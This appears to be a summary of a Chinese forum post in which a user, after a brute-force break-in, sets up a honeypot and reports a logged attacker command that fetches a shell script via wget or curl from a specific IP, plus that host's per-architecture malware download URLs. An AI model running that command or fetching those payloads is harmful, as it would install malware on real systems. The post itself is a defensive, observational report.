📌 📄 内容摘要:
笑红尘 (@sin) 在 被爆破后，听了佬的建议，装了个蜜罐，然后有趣的事情发生了。 中发帖
被爆破后，听了佬的建议，装了个蜜罐，然后有趣的事情发生了。
昨天被爆破了，在佬的建议下装了个蜜罐，然后发现了好多有趣的事情；
今天坚持log，发现一条记录
wget -O- http://94.156.177.109/sh || curl http://94.156.177.109/sh
看上去像是要从这里下个sh
http://94.156.177.109/sh
然后我把sh下下来了，代码有点多，发不出来；
看了下，这个语言不是很懂，大概意思应该是记录目标主机的系统状态，用户状态，并且根据不同的系统，下载对应的文件，下载地址分别是
# x86_64
http://94.156.177.109/x86_64
# i686
http://94.156.177.109/i686
# aarch64
http://94.156.177.109/aarch64
# arm7
...
────────── 链接信息 ──────────
🔗 论坛链接: linux.do
📎 访问地址: https://linux.do/t/topic/245015/1
─────────────────────────────
📢 来源：LINUX DO
